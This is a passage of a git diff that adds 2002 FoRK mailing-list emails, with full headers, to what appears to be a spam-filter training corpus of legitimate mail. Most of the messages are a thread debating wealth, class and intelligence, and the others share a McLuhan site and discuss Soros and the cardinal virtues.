yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4BD704415D + for ; Mon, 29 Jul 2002 06:25:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:26 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6QIrwr18278 for ; + Fri, 26 Jul 2002 19:53:58 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 7FE9E29414F; Fri, 26 Jul 2002 11:52:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from axiom.braindust.com (axiom.braindust.com [64.69.71.79]) by + xent.com (Postfix) with ESMTP id 5E06429414D for ; + Fri, 26 Jul 2002 11:51:23 -0700 (PDT) +X-Envelope-To: fork@spamassassin.taint.org +Received: from chimp.vancouver.com (muses.westel.com [204.244.110.7]) + (authenticated (0 bits)) by axiom.braindust.com (8.12.5/8.11.6) with ESMTP + id g6QIpJds009650 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 + bits) verified NO); Fri, 26 Jul 2002 11:51:19 -0700 +Subject: Re: USA USA WE ARE NUMBER ....six. +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: gbolcer@endeavors.com, fork@spamassassin.taint.org +To: Owen Byrne +From: Ian Andrew Bell +In-Reply-To: <3D413E23.900@permafrost.net> +Message-Id: <9B97050C-A0C8-11D6-8F70-0030657C53EA@ianbell.com> +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 11:50:51 -0700 + +On Friday, July 26, 2002, at 05:18 AM, Owen Byrne wrote: +> employees, and that an awful lot of +> corporations have shown that they can't keep track of billions +> upon billions of dollars. + +I think we need to get away from rhetoric that implies that the +billions of dollars in hard cash, revenues, and capitalization was +"lost" somehow. + +The ruling class, whether you define them as government or business +(what's the difference?) knows full well where that money is. It's +lining their pockets, buying their hobby ranches, and financing +their private jets. + +Neither has any interest in the welfare of the working class. + +Of course, none of this is new bits. + +-Ian. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00907.6833c73d3a487ad7f75431a819a365c5 b/bayes/spamham/easy_ham_2/00907.6833c73d3a487ad7f75431a819a365c5 new file mode 100644 index 0000000..b8f9c67 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00907.6833c73d3a487ad7f75431a819a365c5 @@ -0,0 +1,62 @@ +From fork-admin@xent.com Mon Jul 29 11:28:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F2EE24415E + for ; Mon, 29 Jul 2002 06:25:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:26 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6QIx1r18442 for ; + Fri, 26 Jul 2002 19:59:01 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1D88A29414A; Fri, 26 Jul 2002 11:57:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 18DF32940ED for ; + Fri, 26 Jul 2002 11:56:52 -0700 (PDT) +Received: from maya.dyndns.org (ts5-007.ptrb.interhop.net + [165.154.190.71]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6QIVvc02984; Fri, 26 Jul 2002 14:31:58 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 6A21C1C39A; + Fri, 26 Jul 2002 14:50:47 -0400 (EDT) +To: fork +Subject: Electric Language +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 26 Jul 2002 14:50:47 -0400 + + +Eric tells me the site is back up, debugged, and ready for comments; +it's a first-hand guided tour of McLuhanism and the Internet, from +tetrads to teleconferencing. + +http://home.istar.ca/~jwaddell/McLuhan/ + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00908.fa150b0b994587469112fbcb7e8cc2bc b/bayes/spamham/easy_ham_2/00908.fa150b0b994587469112fbcb7e8cc2bc new file mode 100644 index 0000000..1e4a39c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00908.fa150b0b994587469112fbcb7e8cc2bc @@ -0,0 +1,74 @@ +From fork-admin@xent.com Mon Jul 29 11:28:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 91A4D44129 + for ; Mon, 29 Jul 2002 06:25:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:27 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6QJA3r19139 for ; + Fri, 26 Jul 2002 20:10:03 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 43310294150; Fri, 26 Jul 2002 12:08:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from jamesr.best.vwh.net (jamesr.best.vwh.net [192.220.76.165]) + by xent.com (Postfix) with SMTP id C66F12940ED for ; + Fri, 26 Jul 2002 12:07:14 -0700 (PDT) +Received: (qmail 74064 invoked by uid 19621); 26 Jul 2002 19:07:09 -0000 +Received: from unknown (HELO avalon) ([64.125.200.18]) (envelope-sender + ) by 192.220.76.165 (qmail-ldap-1.03) with SMTP for + ; 26 Jul 2002 19:07:09 -0000 +Subject: Re: USA USA WE ARE NUMBER ....six. +From: James Rogers +To: fork@spamassassin.taint.org +In-Reply-To: <9B97050C-A0C8-11D6-8F70-0030657C53EA@ianbell.com> +References: <9B97050C-A0C8-11D6-8F70-0030657C53EA@ianbell.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Evolution/1.0.2-5mdk +Message-Id: <1027711160.10358.6.camel@avalon> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 26 Jul 2002 12:19:19 -0700 + +On Fri, 2002-07-26 at 11:50, Ian Andrew Bell wrote: +> The ruling class, whether you define them as government or business +> (what's the difference?) knows full well where that money is. It's +> lining their pockets, buying their hobby ranches, and financing +> their private jets. +> +> Neither has any interest in the welfare of the working class. + + +Yes, and the working class deserves what it gets, and possibly not even +that. For the most part, people become wealthy by not being stupid. I +always thought "not being stupid (most of the time)" was a fairly low +bar, but apparently most people can't even manage that. + +That is really what it all boils down to: There are lots of ignorant +and/or stupid people who are quite happy to stay that way, and it is a +key causal factor in why things are the way they are. What are you +going to do about it? + + +-James Rogers + jamesr@best.com + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00909.4030b6c4e4c01ff28fa7c767109997a3 b/bayes/spamham/easy_ham_2/00909.4030b6c4e4c01ff28fa7c767109997a3 new file mode 100644 index 0000000..114647a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00909.4030b6c4e4c01ff28fa7c767109997a3 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Mon Jul 29 11:28:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3149B44128 + for ; Mon, 29 Jul 2002 06:25:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:28 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6QJXrr20163 for ; + Fri, 26 Jul 2002 20:33:53 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A8E1F29414A; Fri, 26 Jul 2002 12:32:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (pm0-40.sba1.netlojix.net + [207.71.218.40]) by xent.com (Postfix) with ESMTP id 9F34D29410A for + ; Fri, 26 Jul 2002 12:31:14 -0700 (PDT) +Received: (from dave@localhost) by maltesecat (8.8.7/8.8.7a) id MAA04758; + Fri, 26 Jul 2002 12:36:28 -0700 +Message-Id: <200207261936.MAA04758@maltesecat> +To: fork@spamassassin.taint.org +Subject: Soros' _Open Society_ & cardinal virtues +From: Dave Long +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 12:36:28 -0700 + + +Soros, in _Open Society_, says he +has a theory that the coevolutionary +nature of finance and history mean +they are subject to many boom-bust +cycles. As a result of having some +leisure time after playing them so +successfully with Quantum Fund, he +now believes that we need to keep +our strategies as game players and +rule makers distinct: the ends of +rule makers can't be so strictly +personal as those of game players. + +Do the cardinal virtues provide a +set of restoring forces which allow +one to act in balance? + +temperance - avoid hubris in booms +fortitutude - avoid depression in busts +prudence - maximize personal utility (as a game player) +justice - maximize common good (as a rule maker) + +-Dave + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00910.4b1bddb9bfc1cea936f0f8cae0cd097d b/bayes/spamham/easy_ham_2/00910.4b1bddb9bfc1cea936f0f8cae0cd097d new file mode 100644 index 0000000..a365b93 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00910.4b1bddb9bfc1cea936f0f8cae0cd097d @@ -0,0 +1,119 @@ +From fork-admin@xent.com Mon Jul 29 11:28:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C3FD74415F + for ; Mon, 29 Jul 2002 06:25:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:28 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6QJq0r21212 for ; + Fri, 26 Jul 2002 20:52:00 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A1CD42940AC; Fri, 26 Jul 2002 12:50:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from axiom.braindust.com (axiom.braindust.com [64.69.71.79]) by + xent.com (Postfix) with ESMTP id AFA5D2940A9 for ; + Fri, 26 Jul 2002 12:49:11 -0700 (PDT) +X-Envelope-To: fork@spamassassin.taint.org +Received: from chimp.vancouver.com (muses.westel.com [204.244.110.7]) + (authenticated (0 bits)) by axiom.braindust.com (8.12.5/8.11.6) with ESMTP + id g6QJnVds009963 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 + bits) verified NO); Fri, 26 Jul 2002 12:49:32 -0700 +Subject: Re: USA USA WE ARE NUMBER ....six. +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: fork@spamassassin.taint.org +To: James Rogers +From: Ian Andrew Bell +In-Reply-To: <1027711160.10358.6.camel@avalon> +Message-Id: +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 12:49:04 -0700 + +On Friday, July 26, 2002, at 12:19 PM, James Rogers wrote: + +> On Fri, 2002-07-26 at 11:50, Ian Andrew Bell wrote: +>> The ruling class, whether you define them as government or business +>> (what's the difference?) knows full well where that money is. It's +>> lining their pockets, buying their hobby ranches, and financing +>> their private jets. +>> +>> Neither has any interest in the welfare of the working class. +> +> Yes, and the working class deserves what it gets, and possibly not even +> that. For the most part, people become wealthy by not being stupid. I +> always thought "not being stupid (most of the time)" was a fairly low +> bar, but apparently most people can't even manage that. + +This isn't particularly well-founded logic. What you're saying is +that "most rich people are smart" and that the latter is causal to +the former. By implication, then, you would say that "most poor +people are stupid". This is true, statistically, because most +people are poor and most people are also stupid. However there's +nothing to indicate a causal link there. So being smart isn't the +only mechanical requirement to eternal wealth because, obviously, +most of the members of this list would be rich. + +Being smart, for example, has made Stephen Hawking famous and +respected, but he's not particularly rich. Jennifer Lopez is by +all accounts a complete moron. In fact, spend a weekend in Beverly +Hills and you will encounter vast numbers of people who are +profoundly stupid driving Rolls Royces and shopping at PRADA. + +The working class IS the market and the working class IS where +wealth is created. The working class makes long-distance calls, +buys food processors and computers and clothes, and attaches the +value to goods which allows them to be commodified. The working +class saves money, buys Retirement Savings Plans, and invests in +mutual funds which increases the flow of capital through the +investment funnel. + +The economic system of the first world is designed to strike a +delicate balance between incentivizing the ruling class to support +wealth-expanding through technological innovation or the +development of new markets. At the 100,000 foot level, recessions +and depressions are created when more wealth is sucked from the +whirlpool than can be supported by the working class through +investment and consumption. + +And the people draining the hot tub are the folks in the ruling +class -- people like Ken Lay, Dick Cheney, Bernie Ebbers, et al -- +and they simply got too greedy and caused a bubble in the +hydraulics that increased the pressure for a time, but ultimately +wasn't sustainable. + +And the money that was lost did not come from the ruling class. It +came from the RSP's and the Equity funds and the Investments of +individual working class -- people who believed these reports and +invested. The wealth of the ruling class was largely pulled out by +the time such investments were exposed to the workers. + +So, is the lower caste necessarily stupid for saving money or +investing in retirement plans? I don't think so. Are they stupid +for buying clothes and automobiles? I don't think so. + +At the granular level, the notion that "most rich people are rich +because they're smart" is so anecdotal and naive that it's not +worth arguing about, so I won't. Still, a compelling point worth +some clarification. + +-Ian. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00911.91dd363a1ba091de446dd40a24816ab3 b/bayes/spamham/easy_ham_2/00911.91dd363a1ba091de446dd40a24816ab3 new file mode 100644 index 0000000..59c6642 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00911.91dd363a1ba091de446dd40a24816ab3 @@ -0,0 +1,136 @@ +From fork-admin@xent.com Mon Jul 29 11:28:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6567144161 + for ; Mon, 29 Jul 2002 06:25:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:30 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6QKFWr23629 for ; + Fri, 26 Jul 2002 21:15:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 873C4294155; Fri, 26 Jul 2002 13:10:13 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 374652940B5 for ; Fri, + 26 Jul 2002 13:09:42 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 9416C3EDA3; + Fri, 26 Jul 2002 16:09:59 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 924973EDA2; Fri, 26 Jul 2002 16:09:59 -0400 (EDT) +From: Tom +To: Ian Andrew Bell +Cc: James Rogers , +Subject: Re: USA USA WE ARE NUMBER ....six. +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 16:09:59 -0400 (EDT) + +On Fri, 26 Jul 2002, Ian Andrew Bell wrote: + +--]Being smart, for example, has made Stephen Hawking famous and +--]respected, but he's not particularly rich. + +Bang, you fell right into the trap of Sematic Siezerdom. + +RICH is a word of many contexts. You can be RICh in wealth, ie raw money, +you can be Rich in Wisdom, ala Hawkins, You can be rich with freinds, you +can be Rich in emotions........ + +--]all accounts a complete moron. In fact, spend a weekend in Beverly +--]Hills and you will encounter vast numbers of people who are +--]profoundly stupid driving Rolls Royces and shopping at PRADA. + +MOney Rich versus Mental Rich....Equality amongst differnt grains...Why do +folks still fall into this trap? + +--]The working class IS the market and the working class IS where +--]wealth is created. + +In the current ecomony Wealth is created only in TRANPORT of wealth, that +is in moving the micro welath of the masses to to macro wealth of the few. + +100 million people making phone calls a day that net you 1$ per call makes +you a 100millionaire per day (minus operating expenses (real costs of +physical value as well as the less physical value of lubricant (taxes, +bribes, payoffs, kickbacks)etc) + +--]And the people draining the hot tub are the folks in the ruling +--]class -- people like Ken Lay, Dick Cheney, Bernie Ebbers, et al -- + +They were put into the rulign cvlass by the mass consess that THEY are +amrt fellas who can make us feel good about giveing them the power to tell +us how to live our lives (and thus how to feel about ourselves,how to +value our worth, how to feel good about being etc etc etc) + + + +--]So, is the lower caste necessarily stupid for saving money or +--]investing in retirement plans? I don't think so. Are they stupid +--]for buying clothes and automobiles? I don't think so. + +They are STUPID in allowing, heck forcing, the few to stand guard over the +many and then pay for the service of being servants to them. + +--]At the granular level, the notion that "most rich people are rich +--]because they're smart" is so anecdotal and naive that it's not +--]worth arguing about, so I won't. Still, a compelling point worth +--]some clarification. + + +At the grainular level it is simply that Those who can con enough folks +into giving up thier Choices to a governing body (usualy one they will +control) wind up with the most concentration of Wealth (money) and +Power(over others) + +Basicaly we have gone back to being serfs, only we demand nicer hovels. +WE demand to have paid for a ruling class lord over us, protect us and +bascialy build the castle walls stronger to protect us from all enemys of +the status quo both forgien and domestic. + +If the constitution were allowed to go up for a vite of confiendnce todayI +bet it would fall down and go boom.. Too much freedom, too many ways that +the INdividual is called on to be thier own guardian...too many demands on +the fraility of human nature...much better to errect protectors, let them +sort it all out, and tell us what we need to do to be happy. + + +Smart in todays society is having enough Welath, Charm, Will, Power, +Knowing etc to Do What You Want. + +Stupid is living under others rules. + + +(to the stupid the smart are "stupid" "look at them, wasting all thier +time on that tomfollery" "lords a goshen, aint they the queer ones" +"would you look at that, some folks just dont have the sense to fit in") + + +The words Smart and Atupid are the wrong ones here... Lets change them to + +Indviduals and Sheeple + +yea that works better for me. + + +tom + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00912.74b435accaf4e65a948c7769b6380f01 b/bayes/spamham/easy_ham_2/00912.74b435accaf4e65a948c7769b6380f01 new file mode 100644 index 0000000..6234803 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00912.74b435accaf4e65a948c7769b6380f01 @@ -0,0 +1,120 @@ +From fork-admin@xent.com Mon Jul 29 11:28:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3A72444162 + for ; Mon, 29 Jul 2002 06:25:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:31 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6QL0Ar25750 for ; + Fri, 26 Jul 2002 22:00:16 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A0A06294099; Fri, 26 Jul 2002 13:58:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from jamesr.best.vwh.net (jamesr.best.vwh.net [192.220.76.165]) + by xent.com (Postfix) with SMTP id 8ED3E294098 for ; + Fri, 26 Jul 2002 13:57:15 -0700 (PDT) +Received: (qmail 78669 invoked by uid 19621); 26 Jul 2002 20:57:08 -0000 +Received: from unknown (HELO avalon) ([64.125.200.18]) (envelope-sender + ) by 192.220.76.165 (qmail-ldap-1.03) with SMTP for + ; 26 Jul 2002 20:57:08 -0000 +Subject: Re: USA USA WE ARE NUMBER ....six. +From: James Rogers +To: fork@spamassassin.taint.org +In-Reply-To: +References: +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Evolution/1.0.2-5mdk +Message-Id: <1027717759.10462.49.camel@avalon> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 26 Jul 2002 14:09:19 -0700 + +On Fri, 2002-07-26 at 12:49, Ian Andrew Bell wrote: +> This isn't particularly well-founded logic. What you're saying is +> that "most rich people are smart" and that the latter is causal to +> the former. By implication, then, you would say that "most poor +> people are stupid". This is true, statistically, because most +> people are poor and most people are also stupid. + + +I never said that rich people are smart, just less stupid than most +other people. And most people who are poor do engage in more reckless +and stupid behavior in my experience; the people that are a bit smarter +don't stay poor for long, so it is a self-selecting population. Hell, I +grew up in as abject a poverty as you can find in the US and I remember +quite well why the people that stayed poor were poor -- it certainly +wasn't because of The Man. And my parents were poor because they made +lots of stupid choices -- I had front row seats to the whole process. +Unlike many others, I actually learned from the experience. + +And I've known a lot of wealthy people (both in a strict monetary sense +and general sense), and I can't think of a one that was a fool. People +who earned their wealth (i.e. 95+% of the wealthy in the US) didn't +manage to do so, and maintain their wealth, because they were fools. It +isn't that these people are that much smarter, they just don't make lots +of bad decisions and stupid mistakes. Being very smart AND not making +lots of stupid mistakes is pretty much a surefire recipe for being +wealthy. + + +> Being smart, for example, has made Stephen Hawking famous and +> respected, but he's not particularly rich. Jennifer Lopez is by +> all accounts a complete moron. In fact, spend a weekend in Beverly +> Hills and you will encounter vast numbers of people who are +> profoundly stupid driving Rolls Royces and shopping at PRADA. + + +You are using a very narrow definition of "smart". Smart doesn't make +you rich, it gives you the *choice* to be rich. Many people (e.g. +Stephen Hawking) are quite happy merely being comfortable and devote +their energy elsewhere than being "rich". But I don't know too many +really smart people that actually choose to live in poverty. + + +> [...ridiculous caricature of wealthy people elided...] +> At the granular level, the notion that "most rich people are rich +> because they're smart" is so anecdotal and naive that it's not +> worth arguing about, so I won't. Still, a compelling point worth +> some clarification. + + +It sounds like you've bought into the absurd Hollywood depictions of +what wealthy people are like. Hint: they are exactly like you and me, +but with a higher net worth. In the U.S., the fact is that two-thirds +of the millionaires are blue collar folks who worked very smart and very +hard, and the vast majority of all the wealthy in the U.S. are +completely self-made (i.e. first-generation wealthy). "Old wealth" is +incredibly rare in the U.S., as it typically comes and goes within three +generations, and the handful that you do hear about are the unusually +long-lived exceptions. + +It's quite simple to become wealthy in the U.S. if you put some effort +into it. However, most people prefer to merely be comfortable and +expend a lot less energy. Virtually all the people I know who are +wealthy are chronic workaholics with above average intelligence and +exaggerated amounts of drive. Most people would not consider those +people's lives "fun", though those people tend to enjoy what they do. + + +-James Rogers + jamesr@best.com + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00913.feedb49583d7f4cd656ee7139598e706 b/bayes/spamham/easy_ham_2/00913.feedb49583d7f4cd656ee7139598e706 new file mode 100644 index 0000000..dadc45f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00913.feedb49583d7f4cd656ee7139598e706 @@ -0,0 +1,86 @@ +From fork-admin@xent.com Mon Jul 29 11:29:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EB19D44101 + for ; Mon, 29 Jul 2002 06:25:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:31 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6QLHtr26431 for ; + Fri, 26 Jul 2002 22:17:55 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D92A52940A3; Fri, 26 Jul 2002 14:16:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id CD0172940A1 for ; Fri, + 26 Jul 2002 14:15:57 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 76AC03EDA5; + Fri, 26 Jul 2002 17:16:15 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 7510A3ECEB; Fri, 26 Jul 2002 17:16:15 -0400 (EDT) +From: Tom +To: James Rogers +Cc: fork@spamassassin.taint.org +Subject: Re: USA USA WE ARE NUMBER ....six. +In-Reply-To: <1027717759.10462.49.camel@avalon> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 17:16:15 -0400 (EDT) + +On 26 Jul 2002, James Rogers wrote: + +--]grew up in as abject a poverty as you can find in the US and I remember +--]quite well why the people that stayed poor were poor -- it certainly +--]wasn't because of The Man. + +Same here. My folks were both born and raised in a blue color section of +the Bronx. I was raised in the same Apt my dad was raised in...a tiny one +bedroom place. + +Both my folks got educated and moved away from the lifestyle of "in da +poor trenches 4 life" + + +--]Unlike many others, I actually learned from the experience. + +Yep. I wached as my dad went for his GED then his Bachelors and so on. I +watched as both he and my mom worked hard to get out of the place they +were. Once thing it taught me, its tough work but if you havea goal then +its worth it. + +--]Stephen Hawking) are quite happy merely being comfortable and devote +--]their energy elsewhere than being "rich". But I don't know too many +--]really smart people that actually choose to live in poverty. + +Its that language thing again. Rich is a very vast word, its like Salt. If +you put it on steak its going to taste differnt then if you season pasta +with it. + +--]It sounds like you've bought into the absurd Hollywood depictions of +--]what wealthy people are like. + +Us Vs THEM, its ages old and the power structures inately know that to +keep things goign there way folks need, NEED..heck DEMAND the US vs THEM +strugle. So its the Wealthy VS the Poor...the Smart Vs the Stupid...the +With vs the Withouts....and all the while those shmucks who go underdog +down trodden need only get out of the loop and play a differnt game. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00914.728d09e121c1a735c94174a9171b814f b/bayes/spamham/easy_ham_2/00914.728d09e121c1a735c94174a9171b814f new file mode 100644 index 0000000..230a8aa --- /dev/null +++ b/bayes/spamham/easy_ham_2/00914.728d09e121c1a735c94174a9171b814f @@ -0,0 +1,57 @@ +From fork-admin@xent.com Mon Jul 29 11:29:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 875EE44102 + for ; Mon, 29 Jul 2002 06:25:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:32 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RAEIi18807 for + ; Sat, 27 Jul 2002 11:14:18 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id FAA15394 